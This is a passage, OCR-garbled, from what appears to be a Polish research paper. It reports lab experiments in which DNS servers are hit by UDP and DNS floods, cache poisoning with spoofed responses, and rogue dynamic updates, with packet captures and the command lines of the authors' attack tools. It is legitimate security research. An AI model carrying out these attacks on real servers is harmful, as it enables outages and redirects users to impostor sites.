sfatszowane.

Po stronie serwera DNS daje si¢ zauwazy¢ wydtuzenie czasu odpowiedzi
udzielanej przez serwer podczas ataku. W obserwowanym przypadku wynidst
on 640 ms — patrz ramka na rys. 19. Jednoczesnie mierzono obciazenie
procesora i karty sieciowej atakowanego komputera. Na rys. 20 mozna
zauwazy¢, ze przed atakiem obcigzenie tych zasobow bylo znikome, wrecz
niezauwazalne. Podczas ataku obciazenie procesora oscylowalo w przedziale
50+100 %. Obciazenie to przedstawia gorna krzywa. Znacznie wzroslto tez
obciazenie karty sieciowej — krzywa dolna.
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@ 3-snif - Fthereal |ZI@IE|
File Edit Wiew Go Capture Analyze  Stakistics  Help J
Jo.v] 11 Source Destination ] Protocol I Info j

= T - [ e e

| ‘N .89 Daigades NS crmad 3

8 249.44.103.64 10585858 DNS [Malformed Packet]
9  107.11.132.75 i e e DNS [Malformed Packet]
10 171.5.215.9 AL s DNS [Malformed Packet]
i 7 A B s s e DNS [Malformed Packet]
12 108.51.113.45 T e A DNS [Malformed Packet]
13 24.3.240.590 .,4,3.3 DNS [Malformed Packet]
14 15.46.6.68 ol s T s DNS [Malformed Packet]
15 211.22.9.47 pile it et DNS [Malformed Packet]
16 BB8.63.190.123 pH e B i) DNS [Malformed Packet]
17 122.73.53.92 b 0 e e DNS [Malformed Packet]
18 191.76.41.99 il o0 e DNS [Malformed Packet]
19 229.99.247.47 e e DNS [Malformed Packet]
20 11s.72.12.103 T e A DNS [Malformed Packet]
21 B82.102.20.104 .,4,3.3 DNS [Malformed Packet]
22  150.15.48.123 1%,.3.3.3 DNS [Malformed Packet]

Rys. 18. Obraz ruchu sieciowego podczas ataku UDPflood na serwer DNS

¢ | Wiersz polecenia ) ] ] 5
NDocuments and Settings“Administrator>dig C@rdns.robocza.tst rohocza.tst _I
5 <<4>> DiG ?2.4.1 {{>> Prdns.robocza.tst robocza.tst

5 (1 server found?

;; global options: printcmd

55 Got answer:

55 —2>>HEADER<<{- opcode: QUERY. status: NOERROR. id: 697

;5 flags: gr aa »d ra; QUERY: 1. ANSWER: @, AUTHORITY: i, ADDITIONAL: @

55 QUESTION SECTION:

serobocza.tst. IN A

55 AUTHORITY SECTION:

ohocza.tst. e IN s0A rdns.rohocza.tst. administrator.
ne3.robocza.tst. 45 36000 608 86400 3600

55 Query time: 648 msec

55 SERVER: 18.3.3.3#53¢1B.3.3.3>

53 MS5G SIZE wrcvd: 89

sDocuments and Settings“Administrator> ﬂ

Rys. 19. Wyniki badania czasu odpowiedzi serwera rdns.robocza.tst podczas ataku UDPflood

4.3. Atak DNSflood

Atak tego typu polega na wysylaniu duzej liczby poprawnie
sformatowanych zapytan DNS. W niniejszym punkcie przedstawiono wyniki
eksperymentu polegajacego na przeprowadzeniu ataku DNSflood na serwer
DNS. Dla potrzeb tego eksperymentu opracowano program (eksploit) o nazwie
DNSFLOOD.
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5 wWydajnosé —1O] =i
|}@ Plik Akcja Wticdalke Uubione Okno Pomoc. | S |E| |i|

= = | Eam|2

Hirgemaeer | Ol QI * ol [EB@E +HX]e| ples (@ =@
B4 Dzienniki vy, 100 Wy Swietl wykres (Ctrl-G) |
TR |
a0
a0
70
(=18
S0
40
Poczqteldl[
30 ataku
20
10
o
Crskakni 3557660 érednia' 3554304 Minimum| 0,000
Maksimum 154581332 (Czas btrwania 1:40
Kolor Skala Licznik | wvsEan. . | Madrz... | Ohiekk | Komputer | |
1,000 _zas proces.., _Total o Procesor  \RDMS
. i i | ...... Catkowita lic,,, Earta 4. Inkterfe. .. VIRDMS

Rys. 20. Obciazenie procesora i karty sieciowej przed i podczas ataku UDPflood

Podobnie jak w poprzednich eksperymentach, przed rozpoczeciem ataku
zbadano czas odpowiedzi serwera rdns.robocza.tst w normalnych warunkach
eksploatacji sieci testowej. Wyniki uzyskano identyczne jak przed atakiem
SYNFlood (rys. 12).

Nastgpnie zainicjowano atak DNSflood. Na rys. 21 przedstawiono raport
z uruchomienia programu DNSFLOOD.

= ==
Plik Edycja Widok Terminal Zakladki Pomoc
[root@lin DNSFlood]# ./dnsflood lbind.robocza.tst 16.3.3.3 3000000 -

[root@lin DNSFlood]# ./dnsflood lbind.robocza.tst 18.3.3.3 3000000

Rys. 21. Raport z uruchomienia programu DNSFLOOD

Rys. 22 prezentuje obraz ruchu sieciowego podczas ataku. Pakiety
zawierajace poprawne zapytania DNS kierowane sa do atakowanego komputera
o adresie 10.3.3.3 na port 53 TCP(DNS). Zwrotnie przekazywane sa odpowiedzi
serwera.
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@ snif_all - Ethereal

Fle Edit Wiew Go Capture Analvze Statistics Help
Mo, - ]me] Source Destination 1Protoco| JInFo =t
I0 I, IU.2.2.33  10.3.3.3 TS STANOarT quUeEry A& T, Foioerd. t5t ||
; T ) ] N Standard guery e A 10 |
1201, 102,233 10.3.3.3 DS standard query A lhind.robocza.tst
1351, 10333 10.2.2.33  DNs Standard guery response A 10.3.3.4
14 1. 10.2.2.33  10.3.3.3 DHS Standard guery A lhind.rohocza.tst
15 1. 10.3.3.3 10.2.2.33  DNS Standard guery response A4 10.3.3.4
15 1. 10.2.2.33  10.3.3.3 DS Standard query A lhind.robocza.tst
17 1. 10.3.3.3 10.2.2.33  DNs Standard query response A 10.3.3.4
180 102338  10:Ev33 DS standard guery A lhind.robocza.tst
1 T s s 10.2.2.33  DNS Standard guery response A 10.3.3.4
7415 PO 0 A R 0= DS Standard guery A lhind.robocza.tst
211, 10.3.3.3 10.2.2.33  DNS Standard query response A 10.3.3.4
22 1.10,2.2.33  10.3.3.3 DS Standard query A lhind.robocza.tst
23 1.10.3.3.3 10.2.2.33  DNS Standard guery response A 10.3.3.4
24 1. 10.2.2.33  10.3.3.3 DHS Standard guery A lhind.robhocza.tst
251.10.3.3.3 10.2.2.33  DHNS Standard guery response A 10.3.3.4
A1 10,27 33 10.3.3.3 MKs Standard nueryv & Thind.rohocza.tst 7]
[«] [ ]
[File: snif_all 48 MB 00 3[P: 393367 0: 399367 M: O

Rys. 22. Obraz ruchu sieciowego podczas ataku DNSflood na serwer DNS

Po stronie serwera DNS daje si¢ zauwazy¢ wydtuzenie czasu odpowiedzi
udzielanej przez serwer podczas ataku. W obserwowanym przypadku wyniost
on 625 ms — patrz ramka na rys. 23. Jednocze$nie mierzono obciazenie
procesora i karty sieciowej atakowanego komputera. Na rys. 24 mozna
zauwazyC, ze przed atakiem obcigzenie tych zasoboéw byto znikome, wrecz
niezauwazalne. Podczas ataku obciazenie procesora oscylowalo w przedziale
70100 %. Obciazenie to przedstawia gorna krzywa. Znacznie wzroslo tez
obciazenie karty sieciowej — krzywa dolna.

¢ |Wiersz polecenia o =] 4]
:J

:\Documents and Settings“Administrator>dig Erdns.robocza.tst robocza.tst

5 <<P> DiG 9.4.1 {<{>> Brdns.robocza.tst wobocza.tst

5 ¢1 server found?>

35 global options: printemd

55 Got answer:

55 —>>HEADER<<- opcode: QUERY, status: NOERROR. id: 13%6

;7 flags: gqr aa »d ra; QUERY: 1, ANSWER: @, AUTHORITY: i. ADDITIONAL: @

55 QUESTIOM SECTION:

srobocza.tst. IN A

55 AUTHORITY SECTION:

ohocza.tst. 3680 IN S0A rdns.robocza.tst. administrator.

ns3.robocza.tst. 45 36808 600 86488 3684

3 Query time: 625 msec

5 SERVER: 18.3.3.3#53¢108.3.3.3>

55 MSG SIZE rcwd: B2

snDocuments and Settings™Administratorl>_ ﬁ

Rys. 23. Wyniki badania czasu odpowiedzi serwera rdns.robocza.tst podczas ataku DNSflood
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Rys. 24. Obciazenie procesora i karty sieciowej przed i podczas ataku DNSflood

5. Zatruwanie pamigci podrecznej

Ofiarg ataku w trakcie eksperymentu polegajacego na zatruwaniu pamigci
podrecznej (cache poisoning) byt serwer podstawowy (rdns) domeny robocza.tst
zbudowany w oparciu o oprogramowanie MSDNS w systemie Windows 2003
Server.

Eksperyment rozpoczat si¢ od sprawdzenia poprawnosci wspoldziatania
komputera klient.robocza.tst z serwerem DNS rdns.robocza.tst. Sprawdzenie to
polegato na weryfikacji konfiguracji interfejsu sieciowego klienta za pomoca
programu ipconfig (rys. 25) oraz badaniu poprawnosci rozwiazywania nazwy
i osiagalnosci komputera www.zasoby.tst (rys. 26). Na podstawie
zamieszczonych obrazéw mozna stwierdzi¢, ze klient poprawnie wspoltpracuje
ze swoim serwerem DNS.

Po tych czynnos$ciach wstepnych zrealizowano ,,czyszczenie” pamigci
podrecznej resolvera systemu klient.robocza.tst. Poprawny wynik tej operacji
dokumentuje rys. 27. W pamigci podrecznej resolvera nie ma zadnych ,,obcych”
WpiSOW.

Ostatnim etapem weryfikacji wstgpnej byla proba pobrania strony www
z serwera www.zasoby.tst. Wynik tej operacji przedstawiono na rys. 28. Mozna
zauwazy¢, ze wynik jest poprawny.
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INDOWS, systema2 . I =10l x|
KC) Copyright 1985-2083 Microsoft Corp.

L

C:\Documents and Settings“AdministratorXipconfig ~all
Honfiguracja IP systemu Windows

Nazwa hosta . . . . . . . . . . . : klient
Sufiks podstawowej domeny DNS . . : robocza.tst
Typ wezta . . . . . . . . . . . . Nieznany
Routing 1P wtaczony . . . . . . . Nie
Serwer WINS Proxy wlaczony

Lista przeszukiwania suflksow DNS

Nie
¢ rohocza.tst
Karta Ethernet Polaczenie lokalne:

Sufiks DNS konkretnego poXaczenia :

ABrcoieay op 1 oz 4y =p 3§ Sheg 5 4@ i o i UMuare Accelerated AMD PCNet Adapter
Adres fizyczny. 88-AC-29-81-F7-FF
DHCP wlaczone . i

Adres IP 3.9
Maska pnrlslel:l 255.0.8.8
Brama domy$lna 18.1.1.1
Serwery DNS . . . . . . . . . . . :18.3.3.3
C:\Documents and Settings\Administrater>,. =l

Rys. 25. Konfiguracja interfejsu sieciowego komputera klient.robocza.tst

INDOWS', system32' cnd.exe I =10l x|

:\Documents and Settings“Adninistrator>tracert wuw.zasohy.tst :I

rasa $ledzenia do zwuww.zasohy.tst [18.7.7.771
rzewyzsza maksymalna liczhe przeskokéuw 38

1 <1 ms {1 ms <1 ms ZWWU [18.7.7.771
ledzenie zakoficzone.

:\Documents and Settings“Administrator>

Rys. 26. Wynik badania poprawno$ci rozwiazywania nazwy i osiagalno$ci komputera

www.zasoby.tst
& Wiersz polecenia i -3 x|
-
C:\Documents and Settings“Administrator>ipconfiy rdisplaydns _I
Konf iguracja IP systemu Windows
1.8.8.127_in-addr.arpa
Nazwa rekordu . . . . . . . .1 1.8.8.127_in-addr.arpa.
Typ rekordu . . . . . . . . .ii2
Czas wygasnigcia (licanik TTL) 682133
Dlugosc danych . . . . . . . .= 4
s e e e e e e w owow - % Odpowiedz
Reknrd PTR . . . . . . . . . = localhost
localhost J
Hazwa rekordu . . . . . . . .i localhost
Typ rekordu . . . . . . . . .:
Czas uygasnlgcla (licznik TTL) 682133
mugnsc danych . . - . . - . .t 4
Sekcja. . .. . . ... ...t Odpuwierlé
Reknrd ¢hostad. . . . . . . . % 127.8.0.1

Rys. 27. Zawarto$¢ pamieci podrecznej resolvera systemu klient.robocza.tst po operacji
czyszczenia tej pamieci

Na rys. 29 zamieszczono obraz ruchu sieciowego realizowanego podczas
pobierania strony z serwisu www.zasoby.tst. Jego przesledzenie jest istotne ze

wzgledu na wychwycenie roznic, ktore bedzie mozna zaobserwowac po udanym
ataku.
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2} WwWW.zasoby.tst - Microsoft Internet Explor P[] S
Pl Edycja idok Ulubione  Marzedzia Pomoc | ;f
QWstecz =Ty |ﬂ .ﬂ .' | U Wyszukai o Ulobione £ I -,, Ef
Adres I;Ej htkp: v, zasoby, bsty j a Pragjdz | tarza
=

‘ij Strona WWW.ZASOBY.TST

;Ei Gokowe il

I
[T [ [ & reemet 4

Rys. 28. Wynik proby pobrania przez klienta strony z serwera www.zasoby.tst

Na przedstawionym obrazie mozna zauwazy¢, ze najpierw Kklient
(10.3.9.1) zwraca si¢ do swojego serwera DNS (10.3.3.3) z zadaniem
rozwiazania nazwy www.zasoby.tst. Poniewaz nie jest to serwer autorytatywny
ca si¢ on z takim zadaniem do serwera gldownego
(10.1.1.1). Otrzymuje od niego informacj¢, ze z takim zadaniem powinien si¢
co tez czyni. Uzyskuje informacjeg, ze system
www.zasoby.tst ulokowany jest pod adresem 10.7.7.77 i taka informacjg
przekazuje swojemu klientowi (10.3.9.1). Po otrzymaniu adresu systemu
www.zasoby.tst, klient inicjuje z nim potaczenie TCP na porcie 80 i realizowana
jest sekwencja zwigzana z przestaniem zadania klienta i przestaniem strony

domeny zasoby.tst, wigc zwra

zwroci¢ do serwera 10.7.7.7,

przez serwer www. Wreszcie nastepuje zamkniecie potaczenia TCP.

Destination robocal

2

3I010.3.3.3 .1.1.1

4 C10.1.1.1 L3.3.3 DN
5C10.3.3.3 TUTT DN
6C10.7.7.7 .3.3.3 DNS
7C10.3.3.3 .3.9.1 DNS
8010.3.8.1 7UPUYTTCP
9 C10.7.7.7 2391 TCP
00C10.3.9.1 UEYTTCP
1010.3.9.1 7P OHTTR
12 C10.7.7.77 .3.9.1 HTTP
13 010.3.9.1 .77 HTTR
14 C10.7.7.77 .3.9.1 HTTP
15 € 10.7.7.77 .3.9.1 HTTP
16 (10.3.5.1 7UPUYTTCP
17 C10.7.7.77 .3.9.1 HTTP
18 (10.3.5.1 UEYTTCP
19 2 10.3.8.1 UEYETCP

Info

standard guery response
Standard query A www.zasoby.tst

standard query response CMAME zwww.zasohy.tst A 10.7.7.77
Standard query response CMNAME zwww.zasoby.tst 4 10.7.7.77
1061 » http [SvN] Seq=0 Ack=0 Win=85535 Len=0 M55=1460

http » 1061 [5vM, ACK] Seq=0 Ack=1 Win=163B4 Len=0 M55=1460
1061 » http [ACK] Seg=1 Ack=1l Win=65535 Len=0

GET / HTTR/1.1

HTTR/1.1 200 OK (text/html)

GET /pagerror.gif HTTP/1.1

HTTR/1.1 200 OK (GIFB%a)

Continuation

1061 » http [ACK] Seq=561 Ack=3810 Win=85535 Len=0
Continuation

1061 » http [ACK] Seq=561 Ack=3%980 Win=65365 Len=0

1061 » http [RST, ACK] Seq=561 Ack=3980 Win=0 Len=0

Rys. 29. Obraz ruchu sieciowego realizowanego podczas pobierania strony z serwera

Dla porzadku przedstawiono jeszcze zawarto$¢ pamigci podrecznej
resolvera systemu klient.robocza.tst (rys. 30) i serwera rdns.robocza.tst (rys. 31).
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=10/ x|
B oo o e o 0 oo s 8 e A =l
C:~\Documents and Settings\Administrator>ipconfig sdisplaydns
Konfiguracja IP systemu Windouws

1.8.8.127_in—addr.arpa

Hazwa rekordu . . . . . . . .: 1.8.0.127._ in-addr.arpa.

Typ Pekurdu R S b s R

Czas wygafnigcia (licznik TTL) GEBGQB

Dlugofé danych . . . . . . . .=

Sekeja. . . . . . . ..o o= Odpuwledz

Rekord PIR . . . . . . . . . & localhost

wuw.zasohy.tst

Nazwa rekordu . . . . . . . .i wwu.zasohy.tst

Typ rekordu . . . . . . . . .%

Czas wygasniecia (licznik TTL) HZG

Dlugns[: danych . . . . . . . .1

i GLE Ln &b &b 4r &b 4p 4% b 4R Odpuwiedé

Rekord CNAME . . . . : zwuww._zasohy._tst

localhost

Nazwa pekordu . . . . . . . .: localhost

Typ rekordu . . . . . . . . .%

Czas wggasnlecla ¢licznik TTL) 680690

Dlugnsn danyeh . . . . . . . .% 4

Sekeja. . .7. . . . . . . . . & Odpowied2

Rekol-d Chostad. . . . . . . . = 127.8.8.1 J

Rys. 30. Zawarto$¢ pamigci podrecznej resolvera systemu klient.robocza.tst po operacji
pobrania strony www.zasoby.tst

s ol x|
s PI!k Bkcja  Widok  Okno  Pomoc |_ a 5]|
R EEIEE I REE
EAT | zasoby rekordy: 4
= rows [Tip [ Dane
01 wysaukwania wprawadzone .. Serwer nazw (NS) zdns.zasoby kst
'a‘l gnwny) Alias (CNAME) 2w, 2asoby. bst,
:; & t”:tt Host (&) 10.7.7.7
5l Host () 10.7.7.77

1 strefy wyszukiwania do przoc
{20 Strefy wyszukivania wsteczn
[ {12]] Podalad zdarzen

Rys. 31. Zawartos$¢ pamigci podrecznej serwera rdns.robocza.tst po operacji pobrania przez
klienta strony www.zasoby.tst

Teraz przeprowadzany jest sam atak. Wykorzystano do tego skrypt
opracowany i zamieszczony w [10]. Skrypt ten generuje zapytanie o okreslong
nazwe, a nastgpnie wysyta do pytanego serwera DNS sfalszowane odpowiedzi
[8]. Raport z uruchomienia skryptu zamieszczono na rys. 32. Obraz ruchu
sieciowego generowanego przez ten skrypt przedstawiono na rys. 33. Nalezy
zwroci¢ uwage, ze sfalszowane, wygenerowane przez skrypt odpowiedzi
informuja, ze system www.zasoby.tst jest ulokowany pod adresem 10.2.2.2. Pod
tym adresem intruz ulokowatl serwis www, ktory zamierza podstawi¢ klientowi
W miejsce serwisu www.zasoby.tst. Pole adresu zrodtowego (10.7.7.7) wskazuje
na komputer, ktory pehi role serwera DNS w domenie zasoby.tst. Ten komputer
poprzednio udzielat odpowiedzi. W czasie przeprowadzonego ataku nie
powinien by¢ aktywny. W trakcie prawdziwego ataku zatruwania bufora
oznacza to zwykle przeprowadzenie dowolnego ataku DoS skierowanego na ten
komputer. W trakcie eksperymentu atak DoS zasymulowano wylaczajac system
10.7.7.7.
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[root@lin exploitl# ./spoof.sh 10 2000 100

[root@lin exploit]#

Rys. 32. Raport z uruchomienia skryptu umozliwiajacego przeprowadzenie ataku
zatruwania bufora serwera DNS

Mo, - Time isuurce Destination lPrutUcul 1Infu

=t 10.2.2.33 10.3.3.3 DNS standard query A www.zasoby.tst

2 10.3.3.3 Broadcast ARP who has 10.1.1.17 Tell 10.3.3.3
3 10.1.1.1 10.3.3.3 ARF 10.1.1.1 s at 00:0c:29:40:a7:85
4 10,5 03 3 105141 DNS standard query A www.zasoby.tst

5 10.7.3.1 10.3.3.3 DNS Standard guery response

6 A0 3233 0T T DNS Standard query A www.zasoby.tst

7 L0 10.3.3.3 DNS Standard guery response A 10.2.2.2
B o TR 10:3:3:3 DNS Standard guery response A 10.2.2.2
El 10.7.7.7 10.3.3.3 DHS Standard guery response 4 10.2.2.2
10 10.7.7.7 10.3.3.3 DNS Standard guery response A 10.2.2.2
11 in 7 7 7 in 2 2 2 1]~ Standard marw rachanes A 0 3 3 7

4

I Ethernet < :0c:29:5a:0c:ef, Dst: 00:0c:29:1e:27:1e
b Internet Protocol, Src Addr: 10.7.7.7 (10.7.7.7), Dst Addr: 10.3.3.3 (10.3.3.3)
I User Datagram Protocel, Src Port: domain (53}, Dst Port: domain (53)
~ Domain Mame System (response)
Transaction ID: Ox25hS
[ Flags: 0xB180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: O
Additional RRs: O
= Queries
I www.zaschy.tst: type A, class inet
= Answars
I www.zasohy tst: type A, class inet, addr 10.2.2.2

Rys. 33. Obraz ruchu sieciowego podczas ataku zatruwania bufora serwera DNS

Po ataku, w buforze serwera DNS 10.3.3.3 znalazta si¢ informacja, ze
system www.zasoby.tst jest ulokowany pod adresem 10.2.2.2 (rys. 34). Klient
zadajacy rozwiazania nazwy www.zasoby.tst otrzyma nieprawdziwa odpowiedz,
co obrazuje rys. 35. Zawartos¢ bufora klienta przedstawiono na rys. 36.

_;_ dnsmgmt - [DNS'\RDNS' Wyszukiwania wprowadzone do pamieci podreczn =10l x|
ng Fli.  akcja Widok  ©Okno Pomoc | = Iﬂlﬂ
¢ | BEXPEE(R| 88
,J;';,‘ DhS 2asoby  rekordy: 3
Elﬁ RDNS ) o ) Mazwa / |T o] |Dane
E”:I Wyszukl'wan\a wprowadzone do pamizd padreczne [ 1E (identyczny jak Folder nadrze...  Serwer nazw (MS) zdns.zasoby. kst
E‘@ g”wt”y) ] v Host A) 10222
EI:I t”:t (] 2dns Host (A 10.7.7.7
D intruz
i D obry
' @ Strefy wyszukiwania do przodu
' {1 strefy wyszukiwania wstecznego
[={] Podglad zdarzen
@ Zdarzenia DNS

Rys. 34. Zatruta zawartos¢ bufora zaatakowanego serwera DNS
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Mo, 1! Time | Source l Diestination ] Protocal ] Info
DNS Standard query A W zasoby

I Frame 4 {90 hytes on wire, 90 bytes captured)
[+ Ethernet II, Src: 00:0c:2%9:1e:27:le, Dst: 00:0c:29:01:F7:ff
I+ Internet Protocol, Src addr: 10.3.3.3 (10.3.3.30, Dst addr: 10.3.9.1 ¢10.3.9.1)
b User Datagram Protocel, Src Port: domain (53), Dst Port: 1027 (1027)
~ Domain Mame System (response)
Transaction ID: Ox1877
[ Flags: 0xB180 (Standard guery response, Mo error)
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: O
= Queries
b wew.zasohy.tst: type A, class inet
= Answers

C:“\Documents and Settings“dministrator>ipconfig sdisplaydns _J
Konf iguracja IP systemu Windows

1.8.8.127.in—addr.arpa

Nazwa rekordu . . . . . . . .: 1.8.8.127_in-addr.arpa.

Typ Pekordu - -

Czas wggasn1gc1a (11czn1k TTL): 567653

Dlugodéé danych . . . . . . . .z 4

Sekcja. . . . . . . . . . . . & Odpowiedz

Rekord PIR . . . . . . . . . & localhest

wuyw . zasohy.tst

Nazwa rekordu . . . . . . . _.: www._zasohy.tst

Typ rekordu . . -

Czas wggasn1gc1a (11czn1k TTL): 3293

Dlugodéé danych . . . . . . . .z 4

Sekcja. . . e e e e - - . Odpowiedz

Rekord <hostad. . . . . . . . : 1@8.2.2.2

localhost

Nazwa rekordu . . . . _ . . _.: localhest

Typ rekordu . . i

Czas wggasn1gc1a (11czn1k TTL): 567653

Dlugodéé danych . . . . . . . .2 4

Sekcja. . . c e e e - - .t Odpowiedz

Rekord <hostad. . . . . . . . : 127.8.8.1
C:wDocuments and Settings“Administrator>

Rys. 36. Zatruta zawartos¢ bufora klienta zaatakowanego serwera DNS
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W wyniku catego opisanego procesu, klient zadajacy dostepu do strony
www.zasoby.tst, otrzyma stron¢ podstawiona przez intruza pod adresem
10.2.2.2. Tlustruje to rys. 37.

3 WWW . ZRSOBY.TST - Microsoft Internet Explorer =0 =]
Blik. Edycja  Widok  Wubione  Marzedzia  Pomoc | .?
) istecz v g - [x] [2] ok |,;--= Wyszukaj - Ulubione 4 = i 3
Adres | &] http: {funw, 2as0by st/ =] B preeidz | tacza >

2]
e Strona WWW,.ZASOBY.TST
1 | (podstawiona)

<
(& ] Gotowe l_ l_ l_ l_ l_ |4 Inkernet 5

Rys. 37. Wynik proby pobrania przez klienta strony z domniemanego serwera
www.zasoby.tst (faktycznie serwera podstawionego przez intruza)

6. Dynamiczna aktualizacja

Funkcja dynamicznej aktualizacji moze by¢é wykorzystywana przez
komputery w sieci lokalnej, ktére nie maja przypisanego statego adresu IP.
Podczas uruchamiania, system operacyjny stara si¢ uaktualni¢ wtasciwy rekord
w zasobach serwera DNS. To rozszerzenie dotyczace funkcjonowania DNS
zostato zdefiniowane w RFC 2136 [16]. W dalszej czg$ci opisano eksperyment,
ktorego celem bylo wprowadzenie do bazy serwera DNS rekordu
przygotowanego przez potencjalnego intruza. Eksperyment przeprowadzono dla
serwera msdns (rdns.robocza.tst) i bind 4.9.1 (linbind.lin.tst). Na rys. 38 i 39
przedstawiono wyniki pobierania informacji o strefie z obu serwerdéw przed
rozpoczgciem eksperymentu.

Na rys. 40 i 41 pokazano zawarto$¢ plikow strefowych rezydujacych na
obu serwerach (przed rozpoczgciem eksperymentu).
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*|wiersz polecenia - nslookup Ol x|
> server 18.3.3.3 'J
efault Server: [10.3.3.31
Address:

18.32.3.3 _J

> 1s —d rohocza.tst

[[18.3.3.31]

robhocza.tst. S0A
za.tst. (53 36000 6A0 86408 3608)
rohocza.tst. NS

rdns.robocza.tst administrator.dns3.roboc

rdns.robocza.tst

robocza.tst. NE vhind.robocza.tst
robocza.tst. NS lbhind.robocza.tst
robhocza.tst. N3 msdns.robocza.tst
klient 1] i8.3.9.1

1hind A 1i8.3.3.4

localhost A 127.8.0.1

msdns A 18.3.3.

nouy A 18.3.188._182

poczta A 1@8. o

poczta M 18 poczta.robocza.tst
rdns A 18.3.3.3

whind ] 18.3.3.5

robhocza.ts rdns.robocza.tst administrator.dns3.rohoc

t. S0R
za.tst. (53 36000 600 86400 3608
>

=

Rys. 38. Wyniki pobrania informacji o strefie utrzymywanej przez serwer rdns.robocza.tst
za pomoca programu nslookup

Wiersz polecenia - nslookup

_ol |
Microsoft Windows [Wersja 5.2.37981 ﬂ

(C>» Copyright 1985-2883 Microsoft Corp.

C:“Documents and Settings“Administrator>nslookup

Default Server: glowny.tst
Address: 1@8.1.1.1
> server 10.4.4.4
Default Server: [18.4.4.41
Address: 18.4.4.4
> 1s —d lin.tst
[[18.4.4.41]
lin.tst. 20A linbind.lin.tst administrator.linbind.lin
.tst. (54 36000 600 86408 3608>
lin.tst. NS linbind.lin.tst
linhind 1] 18.4.4.4
pusty 11 18.4.4.1
lin.tst. 20A linbind.lin.tst administrator.linbind.lin
Stst. (54 3680880 6B 86488 3600>

Rys. 39. Wyniki pobrania informacji o strefie utrzymywanej przez serwer bind
(linbind.lin.tst) za pomoca programu nslookup

Dodatkowo na rys. 42 przedstawiono obraz konsoli graficznej stuzacej do
zarzadzania serwerem msdns (przed rozpoczeciem eksperymentu).

Po opisanych czynnos$ciach wstgpnych uruchomiono opracowany program
(exploit). Jego zadaniem byto zrealizowanie procedury dynamicznej aktualizacji
ze strony klienta. Mozna wykorzysta¢ rowniez program nsupdate dostgpny
w dystrybucji pakietu bind. Raport z uruchomienia opracowanego programu, dla
obu opisywanych przypadkdéw zamieszczono na rys. 43 i 44. Obraz ruchu
sieciowego spowodowanego uruchomieniem tego programu przedstawiono na
rys. 45 i 46. Ramkami zaznaczono najwazniejsze pakiety zawierajace dane
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aktualizacyjne. Jak si¢ mozna bylo spodziewa¢ ruch sieciowy w obu
przypadkach jest podobny, ale nie identyczny.

; Database file robocza.tst.dns for robocza.tst zone.

; Zone version: 53
@ IN SOA rdns.robocza.tst.
administrator.dns3.robocza.tst. (
53 ; serial number
36000 ; refresh
600 ; retry
86400 ; expire
3600 ) ; default TTL
; Zone NS records
@ NS rdns.robocza.tst.
@ NS wbind.robocza.tst.
Q NS lbind.robocza.tst.
@ NS msdns.robocza.tst.
; Zone records
klient 1200 A 10.3.9.1
1bind A 10.3.3.4
localhost A 127.0.0.1
msdns 1200 A 10.3.3.6
nowy A 10.3.100.102
poczta A 10.3.9.1
MX 10 poczta.robocza.tst.
rdns A 10.3.3.3
wbind 1200 A 10.3.3.5

Rys. 40. Zawartos¢ pliku robocza.tst.dns zawierajacego informacje o strefie utrzymywanej
przez serwer rdns.robocza.tst przed rozpoczeciem eksperymentu

SORIGIN
STTL 3600 ; 1 hour
lin.tst IN SOA linbind.lin.tst.
administrator.linbind.lin.tst. (
54 ; serial
36000 ; refresh (10 hours)
600 ; retry (10 minutes)
86400 ; expire (1 day)
3600 ; minimum (1 hour)
)
NS linbind.lin.tst.
SORIGIN lin.tst.
STTL 1200 ; 20 minutes
linbind A 10.4.4.4
pusty A 10.4.4.1

Rys. 41. Zawarto$¢ pliku lin.tst.dns zawierajacego informacje o strefie utrzymywanej przez
serwer bind (linbind.lin.tst) przed rozpocze¢ciem eksperymentu
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=, dnsmgmt - [DNS',RDNSStrefy wyszukiwania do przodu’robocza.tst] =lol x|
2 Pk akcja widok Okno  Pomoc | =171
e~ |OmFRB| 23 6
.ﬁ,‘ DMS robocza.tst  rekordy: 14
EB RDMS Nazwa / LT [ Dane I
{;—l Whysaukimania wpromadzone do pamieci identyczny jak Folder nadrze... Adres startowy uwierzytel... [53], rdns.roboczatst ., ad...
= u Strefy wyszukiwania do przodu % (identyczny jak Folder nadrze...  Serwer nazw (MS) lbind. robocza, kst
@ mbocza'ts_t ) (identyczny jak Folder nadrze, .. Serwer nazw (NS) msdns.robocza kst
é z:;gfr;:;;::;:ama HStecEncao % (identyczny jak folder nadrze...  Serwer nazw (MNS) rdns.robocza.kst,
T @ Zdarzenia DNS . Serwer nazw (MS) whind.robocza.tst,
= [Z] Kient Host (A 10.3.9.1
Ibind Hast (A) 10.3.3.4
(] localhost Hast (A) 127.0.0.1
(] msdns Host (A 10.3.3.6
[Z] nawy Host (A} 103,100,102
poczta Host (A 10.3.9.1
% poczta Ustuga wymiary poczty (M¥)  [10] poczta.robocza.tst,
rdns Host (&) 10.3.3.3
whind Host (&) 10.3.3.5

Rys. 42. Obraz konsoli stuzacej do zarzadzania serwerem rdns.robocza.tst przed
rozpoczeciem eksperymentu

Plik Edycja Widok Terminal Zakladki Pemoc

[root@lin DNSclientl# ./dnsclient intruz.robocza.tst 10.33.33.33 10.3.3.3
[root@lin DNSclient]# [

Rys. 43. Raport z uruchomienia programu umozliwiajacego przeprowadzenie ataku
dynamicznej aktualizacji serwera rdns.robocza.tst

Plik Edycja Widok Terminal Zakladki Pomoc

[root@lin DNSclient]# ./dnsclient intruz.lin.tst 10.44.44.44 10.4.4.4 g |
[root@lin DNSclient]#

Rys. 44. Raport z uruchomienia programu umozliwiajacego przeprowadzenie ataku
dynamicznej aktualizacji serwera bind (linbind.lin.tst)

Skutki atakow mozna obejrze¢ na rys. 47-51. Na wszystkich tych
rysunkach ramkami zaznaczono elementy, ktore sa skutkiem przeprowadzonych
atakow. Na rys. 47 i 48 przedstawiono wyniki pobierania informacji o strefie
z obu serwerdw po przeprowadzonym ataku. Na rys. 49 i 50 pokazano zawartos$¢
plikow strefowych rezydujacych na obu serwerach. Dodatkowo na rys. 51
przedstawiono obraz konsoli graficznej stuzacej do zarzadzania serwerem
rdns.robocza.tst (po ataku).
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Mo, - Jm‘ Source Destination ]Protocol !Info ‘
1 N5 %33 B ok Ha R TCP 4401 > domain [SYN] Seg=0 Ack=0 Win=5840 Len=0 M55=
2 10.3.3.3 10.2.2.33 TCP domain > 4401 [S¥N, ACK] Seq=0 Ack=1 Win=16384 Len=
